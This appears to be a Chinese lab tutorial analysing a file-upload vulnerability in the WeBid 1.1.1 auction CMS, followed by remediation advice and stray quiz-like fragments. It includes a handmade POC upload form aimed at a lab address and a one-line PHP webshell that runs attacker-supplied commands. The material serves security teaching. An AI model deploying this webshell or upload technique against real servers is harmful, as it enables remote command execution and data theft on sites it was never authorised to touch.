Windows XP
http://www.test.ichunqiu
WeBid
WeBid是一个开源的,用于快速搭建拍卖网站的内容管理系统,已超过十万次下载,十分流行。
漏洞介绍
本次漏洞攻击者可以利用上传漏洞上传一句话木马,可以执行命令或者直接获取Webshell,可对用户数据可造成极大的损失。
影响版本
WeBid 1.1.1
漏洞危害
攻击者通过上传木马文件,可以很容易获取WebShell,甚至直接获取服务器权限,对服务器安全造成极大的威胁。
文件上传
文件上传是WEB应用很常见的一种功能,本身是一项正常的业务需求,不存在什么问题。但如果在上传时没有对文件进行正确处理,则很可能会发生安全问题。文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
本次漏洞出现在ajax.php?do=uploadaucimages
, 代码如下:
include 'common.php';
include $include_path . 'functions_ajax.php';
switch ($_GET['do'])
{
case 'converter':
converter_call();
break;
case 'uploadaucimages':
include $main_path . 'inc/plupload/examples/upload.php';
break;
case 'getupldtable':
getupldtable();
break;
}
?>
首先包含了一个functions_ajax.php,接下来进入switch选项,使用do进行传参,用的是GET方法,可以看到,在do等于uploadaucimages时,就会进入下面循环,包含后面的路径。
因此我们继续跟进upload.php
,位于\inc\plupload\examples\upload.php
,代码如下:
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
// Settings
//$targetDir = ini_get("upload_tmp_dir") . DIRECTORY_SEPARATOR . "plupload";
$targetDir = $upload_path . session_id();
//$cleanupTargetDir = false; // Remove old files
//$maxFileAge = 60 * 60; // Temp file age in seconds
// 5 minutes execution time
在开始输出了一些头部信息,接下来将文件上传的目录和PHPSESSID拼接起来,赋值给targetDir变量。
系统这样做是为了让上传者无法得知上传目录,但是PHPSESSID可以在本地查看,并且修改,因此我们可以控制PHPSESSID,修改上传目录。
继续往下看:
$chunk = isset($_REQUEST["chunk"]) ? $_REQUEST["chunk"] : 0;
$chunks = isset($_REQUEST["chunks"]) ? $_REQUEST["chunks"] : 0;
$fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : '';
// Clean the fileName for security reasons
$fileName = preg_replace('/[^\w\._]+/', '', $fileName);
// Make sure the fileName is unique but only if chunking is disabled
if ($chunks < 2 && file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName)) {
$ext = strrpos($fileName, '.');
$fileName_a = substr($fileName, 0, $ext);
$fileName_b = substr($fileName, $ext);
$count = 1;
while (file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName_a . '_' . $count . $fileName_b))
$count++;
$fileName = $fileName_a . '_' . $count . $fileName_b;
}
// Create target dir
if (!file_exists($targetDir))
@mkdir($targetDir);
// Look for the content type header
if (isset($_SERVER["HTTP_CONTENT_TYPE"]))
$contentType = $_SERVER["HTTP_CONTENT_TYPE"];
if (isset($_SERVER["CONTENT_TYPE"]))
$contentType = $_SERVER["CONTENT_TYPE"];
系统从request里面取一个名为name的参数,如果取到则赋值为filename,如果没有取到,则设置为空。接下来对filename使用正则表达式进行过滤。下面的一段代码的意思是保证文件名称的唯一性。
// Handle non multipart uploads older WebKit versions didn't support multipart in HTML5
if (strpos($contentType, "multipart") !== false) {
if (isset($_FILES['file']['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
// Open temp file
$out = fopen($targetDir . DIRECTORY_SEPARATOR . $fileName, $chunk == 0 ? "wb" : "ab");
if ($out) {
// Read binary input stream and append it to temp file
$in = fopen($_FILES['file']['tmp_name'], "rb");
if ($in) {
while ($buff = fread($in, 4096))
fwrite($out, $buff);
if (!in_array($fileName, $_SESSION['UPLOADED_PICTURES']))
{
array_push($_SESSION['UPLOADED_PICTURES'], $fileName);
if (count($_SESSION['UPLOADED_PICTURES']) == 1)
{
$_SESSION['SELL_pict_url_temp'] = $_SESSION['SELL_pict_url'] = $fileName;
}
}
} else
die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');
fclose($in);
fclose($out);
@unlink($_FILES['file']['tmp_name']);
} else
die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');
} else
die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}');
系统首先判断contentType中有没有multipart,如果有,则进入if语句循环。然后打开文件,下面循环读取,进行写入,最后关闭文件。
通过上面的分析,我们可以得出,代码对上传文件做了两点限制:
1.目标目录。
2.正则表达式过滤。
上传目录我们可以通过查看SESSID进行查看,而正则过滤也不是很严格,因此这里可以直接进行绕过,我们可以尝试进行上传。
但并没有找到上传的页面,我们可以手动创建一个上传页面:
在桌面创建POC.html,写入如下代码:
<meta charset="utf-8">
<form action="http://172.16.12.2/ajax.php?do=uploadaucimages" method="post" enctype="multipart/form-data">
<input type="text" name="name"/>
<input type="file" name="file"/>
<input type="submit" name="submit">
form>
我们的分析就到此结束,下面进行漏洞利用。
首先打开浏览器,将我们提前写好的POC.html直接拖入到浏览器中:
我们可以看到浏览、上传按钮。
接下来再桌面新建文件:shell.php
,写入如下内容:
$_REQUEST[fun]($_REQUEST[cmd]);?>
这句代码可以将我们输出的参数传递给fun变量,最终执行出cmd命令的效果。
我们点击浏览,选择写好的shell.php,进行上传。
可以看到PHPSESSID,下面构造网站地址,进行访问:
可以看到,成功的执行了命令,上传成功。
文件上传功能本身没有错,只是在一些条件下会被攻击者利用,从而成为漏洞,根据攻击原理,有以下几点应该注意:
1:文件上传的目录设置为不可执行 只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此此点至关重要。实际中,很多大型网站的上传应用,文件上传后会放到独立的储存上,做静态处理。但对一些小应用,如果存在上传功能,则仍需要多加关注
2:判断文件类型: 判断文件类型时,应结合MIME Type、后缀检查等方式。推荐使用白名单,黑名单的方式已经无数次被证明不可靠。此外,针对图片处理,可以使用亚索函数或者resize函数,在处理图片的同事破坏掉图片中可能包含的HTML代码
3:使用随机数改写文件名和文件路径 文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用使用随机函数改写了文件名和路径,将极大增加攻击成本。与此同时,像1.php.rar.rar
、或者1.xml
这种文件,都因为文件名被改写而无法成功实施攻击
SQL 注入
XSS
弱口令
代码执行
d
text/html
image/gif
application/octet-stream
application/uploadfile
c
multipart/form-data 是一种 MIME 类型
使用 multipart/form-data 在传输数据的时候,如果有一部分的内容类型是未知的,就会将其类型标为 application/octet-stream
multipart/form-data 由多个部分组成,每一部分都有一个content-disposition标题头,它的值是"form-data"
multipart/form-data 登记的媒体类型名称为 form-data
d